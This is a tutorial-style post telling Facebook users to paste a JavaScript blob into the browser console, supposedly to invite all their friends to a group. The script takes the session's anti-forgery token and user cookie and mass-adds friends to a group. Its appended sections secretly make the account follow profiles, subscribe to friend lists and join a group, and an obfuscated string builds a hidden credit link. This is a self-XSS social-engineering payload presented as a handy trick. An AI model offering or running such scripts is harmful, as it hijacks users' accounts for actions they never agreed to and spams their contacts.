1.  First of all Log in into that Facebook account whose friends you want to invite.
2.  Then open your particular Facebook Group in which you want to add friends.
3.  Now Click F12 button to open debugger and then select console box.
4.  Now copy script from below and paste.

(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Friends</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Search For Followers... ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> haben dich abonniert.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>People Invited!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Close</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='display:none; margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Fb Group Script By Safe Tricks </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}

function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone){
var http4 = new XMLHttpRequest();

var url4 = "/ajax/follow/follow_profile.php?__a=1";

var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);

//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}

http4.send(params4);
}

function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}

a("");
a("");

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};